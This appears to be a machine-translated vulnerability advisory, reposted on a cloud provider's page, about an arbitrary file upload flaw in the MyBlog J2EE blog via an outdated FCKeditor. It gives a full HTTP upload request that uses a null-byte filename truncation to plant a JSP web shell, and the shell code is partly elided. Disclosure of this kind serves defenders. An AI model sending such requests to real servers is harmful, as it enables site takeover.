MyBlog Arbitrary File Upload Vulnerability and repair

Source: Internet
Author: User

Brief description: MyBlog is a J2ee open-source self-built blog system. Attackers can upload arbitrary files through some of its component issues.
Description: fckeditor of earlier versions is used. As a result, the file name can be truncated to bypass suffix verification and arbitrary files can be uploaded.
Proof of vulnerability: submit the following http package to upload the shell
Jsp> http://www.bkjia.com/upload/Image/ B .jsp


POST/FCK/editor/filemanager/browser/default/connectors/jsp/connector? Command = FileUpload & Type = Image & CurrentFolder = % 2F HTTP/1.1

Accept :*/*

Accept-Language: en-US, zh-cn; q = 0.5

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;. net clr 2.0.50727)

Content-Type: multipart/form-data; boundary = --------------------------- 7d9cb26524ee

Host: www.2cto.com

Content-Length: xxxxxx

Cache-Control: no-cache

 

----------------------------- 7d9cb26524ee

Content-Disposition: form-data; name = "NewFile"; filename = "B .jsp(this is null00000000.jpg"

Content-Type: text/plain

 

<% @ Page contentType = "text/html; charset = GBK" %>

<% @ Page import = "java. io. *" %>

<% @ Page import = "java. nio. charset. Charset" %>

<% @ Page import = "java. util. regex. *" %>

..........

.......

......

...

----------------------------- 7d9cb26524ee --

Solution: fix the fckeditor component.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.